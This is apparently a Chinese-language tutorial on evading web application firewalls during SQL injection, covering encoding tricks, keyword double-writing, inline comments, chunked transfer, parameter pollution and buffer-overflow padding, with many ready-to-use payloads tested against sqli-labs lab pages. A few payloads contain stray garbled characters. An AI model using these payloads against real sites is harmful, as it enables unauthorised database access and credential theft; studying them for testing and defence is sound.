SQL注入绕WAF介绍

WAF( Web Application Firewall )Web应用防火墙。是针对 HTTP/HTTPS 的安全策略来专门为Web应用提供检

测和保护的一个网络安全产品。WAF可以增大攻击者的攻击难度和攻击成本。WAF会对我们在程序中输入 的参数

进行检测和过滤,当检测到危险的参数值时就会对我们进行拦截,甚至是IP封 禁。

而SQL注入绕WAF则是利用一些技巧绕过WAF的防御检测,以使SQL语句能成功的带入到数据库中执行。

绕过方式

汇总:

  • 等价替换
  • 大小写绕过
  • 编码绕过
  • N写绕过
  • 空格字符绕过
  • 内联注释绕过
  • 更改请求方式
  • 分块传输
  • 参数污染
  • 缓冲区溢出
  • 随机数混淆

等价替换

在程序员开发过程中有可能会禁用一些函数或关键字而无法使用,因此可以通过等价或类似的函数或关键字来达到相同的效果

and -> &&

or -> ||

not -> !

xot -> |

= -> like

不等于 -> <>

group_concat() -> concat_ws()

sleep() -> benchmark()

hex()、bin() -> ascii()

mid() 、substr() -> substring()

updatexml 、extractvalue() -> polygon()

‘admin’ -> 0x61646D696E

大小写绕过

同等价替换一样,有些函数是在开发时写死,通过随机大小写的方式可以绕过WAF的字符对比检测。

此处展示为sqli靶场第27关源码

1757558440009

从源码知过滤了常见的sql注入所用函数,如select 、union

但是源码并未对用户输入做相关处理,因此可以利用禁用列表中没有的字符进行注入,如UnioN,SelEcT等

编码绕过

编码绕过的原理是,攻击者在注入时采用了一些特殊的字符编码方式,从而绕过WAF的检测过程。这种编码绕

过的思路就是利用特殊的字符编码方式,将恶意SQL语句转化为WAF规则无法匹配的形式。例如WAF通常会拦截union select,单个不拦截 ,一起就进行拦截;

常用编码切换

空格 -> %0a || %0A -> /**/

‘ -> %27

= -> %3d

常用编码格式

  • URL编码
  • 十六进制编码
  • base64编码
  • Unicode编码

1.针对单个关键字的绕过:

○ sel ̝ ect 程序过滤 ̝ 为空 脚本处理

○ sele/**/**ct 程序过滤//为空

○ ˺ !%53eLEct ˧ url编码与内联注释

○ se%0blect 使用空格绕过

○ sele%ct 使用百分号绕过

○ %53eLEct 编码绕过

2.单次编码

即将语句做一次编码,前提数据是通过WAF到服务器解析执行的过程仅执行一次解码动作,否则会因过度解码而造成语句无法数据库识别。

一次编码通常仅编码特殊字符

?id=1 union select database()
编码后

?id=1%20union%20select%20database()

3.双重编码

即对于浏览器发送的数据进行了两次编码操作,如s做一次url编码是%73, 再进行一次编码是%25%37%33。一般情况下数据经过WAF设备的时候只会做一次url解码,这样解码之后的数据一般不会匹配到规则,达到bypass的效果。

?id=1 union select 1

第一次编码

?id=1%20union%20select%201

第二次编码

?id=1%2520union%2520select%25201

4.Unicode编码

IIS服务器支持对于unicode的解析,例如我们对于select中的字符进行unicode编码,可以得到如下的s%u006c%u0006ect,这种字符在IIS接收到之后会被转换为select,但是对于WAF层,可能接收到的内容还是s%u006c%u0006ect,这样就会形成bypass的可能。

字符 Unicode编码
a %u0000 %u0041 %u0061 %u00aa %u00e2
单引号 %u0027 %u02b9 %u02bc %u02c8 %u2032 %uff07 %c0%27%c0%a7 %e0%80%a7
空白 %u0020 %uff00 %c0%20 %c0%a0 %e0%80%a0
左括号( %u0028 %uff08 %c0%28 %c0%a8 %e0%80%a8
右括号) %u0029 %uff09 %c0%29 %c0%a9 %e0%80%a9

N写绕过

一般情况下是通过双写来绕过WAF检测,同样是开发时写死的禁用函数

有时后端或WAF检测到禁用函数或关键字会将该字符串从语句删除,以清除SQL注入的威胁

当系统仅检测一次时可以使用双写绕过

如:union可以写成ununionion,在这串字符串中WAF可能会将其中的union删除只会保留最外层的union

当WAF会进行多次删除时,可以对禁用字符串多次嵌套来绕过检测,但通常如果三写绕不过的情况,嵌套再多也没用,因为WAF可能会重复删除。

空格字符绕过

有些WAF会检测语句中相关关键字之间的空格,那么我们通过替换的方式可以尝试绕过WAF

常见URL转码。

空格 %20

%09 TAB键(水平)

%0a 换行

%0d 回车

%a0 空格

常见用法

/**/代替空格

()代替空格

回车(url编码中的%0a)

``(两个反引号)

两个空格代替一个空格

TAB 代替空格

示例

1
2
3
4
5
select/**/*/**/from/**/users;
#注意括号中不能含有*
select(id)from(users);
select `id`from`users`where`id`=1;
select * from users;

内联注释绕过

常用注释符

//, – , /**/, #, –+,– -, ;,–a

内联注释符 /**/ 。在MySQL中如果内联注释 /*!*/ 这样编写那么注释里面的内容将会被执行。

1
2
3
4
5
/*!select database() */
?user=admin' ˺ /*select database() */ ˯ +
识别
waf :?id=1 /*
sql : ?id=1 /*!select databae()*/

内联注释就是把一些MySQL语句放在 /!…/中.

1
2
select * from users where id=1 /*! !union select 1,2,3,4 */;
select * from users where id=1 /*!union*//*!select ˧ 1,2,3,4*/;

内联注释常用方法

1
2
3
4
5
6
7
8
9
10
--简单内联注释
id=100/*!union*/select
--增加干扰符,绕过waf对内联注释的黑名单机制
Id=-2/*%!"/*/union/*%!"/*/select 1,2
--多重内联注释绕过单层检测(类似双写)
Id=100/*!/*!union*/*/select
--多个语句或单词运用内联注释
Id=100/*!/*!union*/*/select 1,2,/*!table_name*/ /*!from*/ /*!information_schema.tables where table_schema=database()*/ limit 0,1
--注释变量参数
Id=-1+UnIoN/*&s=*/sEleCT/*&s=*/1,2,3,database(),5,6#

更改请求方式

八种请求方式:

GET、PUT、POST、DELECT、HEAD、OPTIONS、CONNECT、TRACE

方法 描述
GET 请求指定的页面信息,并返回实体主体。
HEAD 类似于get请求,只不过返回的响应中没有具体的内容,用于获取报头
POST 向指定资源提交数据进行处理请求(例如提交表单或者上传文件)。数据被包含在请求体中。POST请求可能会导致新的资源的建立和/或已有资源的修改。
PUT 从客户端向服务器传送的数据取代指定的文档的内容。
DELETE 请求服务器删除指定的页面。
CONNECT HTTP/1.1协议中预留给能够将连接改为管道方式的代理服务器。
OPTIONS 允许客户端查看服务器的性能。
TRACE 回显服务器收到的请求,主要用于测试或诊断。

更换提交方式:为上传文件数据包类型

1757573150157

1757573176678

分块传输

分块传输 (Chunked transfer encoding) 是超文本传输协议(http) 中的一种数据传输机制,允许将HTTP数据包分为多个部分发送出去。

  • 响应头设定:在HTTP请求头部,添加 Transfer-Encoding: chunked 来指明采用分块传输。
  • 数据分块:数据被分割成一系列的小块(chunk)。每个块的格式如下:
    • 块大小:每个块以十六进制形式指定其大小(字节数),之后是回车和换行符(\r\n)。
    • 数据块内容:接下来是实际的内容数据,再次用\r\n表示块的结束。
    • 终止块:传输结束时,服务器发送一个大小为0的块,表示传输完成。

示例:要向服务器传输“Hello,World!”

1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST / HTTP/1.1
Host: www.tommonkey.cn
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0
Transfer-Encoding: chunked


5\r\n
Hello\r\n
7\r\n
, World!\r\n
0\r\n
\r\n


注:POST方式才能进行分块传输,尾部需要添加两个换行

参数污染

介绍:HTTP参数污染即HPP(HTTP Parameter Pollution)

浏览器在和服务器进行交互的过程中,浏览器往往会在 POST/GET请求里面携带参数 ,这些参数会以 名称=值 形式出现,通常在一个请求中,同样名称的参只会出现一次。但是HTTP协议时允许同样名称的参数出现多次的。

id=1&id=2

如:http://192.168.10.1/?id=1&id=12 ,针对同名参数出现多次的情况,不同Web服务器处理的方式不一样,有些取第二个参数值,有的取第一个参数值,还有的服务器全取。这种特性在绕过一些服务端的逻辑判断时非常有用。

Web服务器 参数获取函数 获取到的参数
PHP/Apache $_GET(“par”) Last
JSP/Tomcat Request.getParameter(“par”) First
Perl(CGI)/Apache Param(“par”) First
Python/Apache getvalue(“par”) All(list)
ASP/IIS Request.QueryString(“par”) ALL(comma-delimited string)

演示(php/Apache)http://192.168.174.147/hpp.php?id=1/&id=-1 union select 1,2,3 %23/

1
2
3
4
<?php
$id = $_GET['id'];
echo $id;
?>

null

利用参数污染绕过安全狗

http: ˾ 192.168.174.135/sqli-labs-master/sqli-labs-master/Less-2/?id=1 /&id=-1 union select 1,2,3 %23/

缓冲区溢出

缓冲区溢出用于对付WAF,有不少WAF是C语言写的,而C语言自身没有缓冲区保护机制,因此如果WAF在处理测试向量时超出了其缓冲区长度,就会引发bug从而实现绕过

举例:

1
?id=1 and (select 1)=(Select 0xA*1000)+UnIoN+SeLeCT+1,2,version(),4,5,database(),user(),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26

示例0xA*1000指0xA后面”A”重复1000次,一般来说对应用软件构成缓冲区溢出都需要较大的测试长度,这里1000只做参考,在某些情况下可能不需要这么长也能溢出

随机数混淆

采用随机数混淆的策略可以让Payload在每次注入时都不同,从而增加了WAF检测的难度。同时,由于随机数的不可预测性,攻击者可以借助随机的结果来判断注入是否成功,而WAF却无法识别这一点。

示例Payload:

1
' UNION SELECT username, password FROM users WHERE id=1 AND 1=(SELECT RAND() < 0.5) --

使用RAND()函数生成0~1之间的随机数并与0.5比较,随机数小于0.5语句为:

UNION SELECT username, password FROM users WHERE id=1 AND 1=1

当生成的随机数大于等于0.5时,Payload会变成:

UNION SELECT username, password FROM users WHERE id=1 AND 1=0

对应代码执行成功和失败两种情况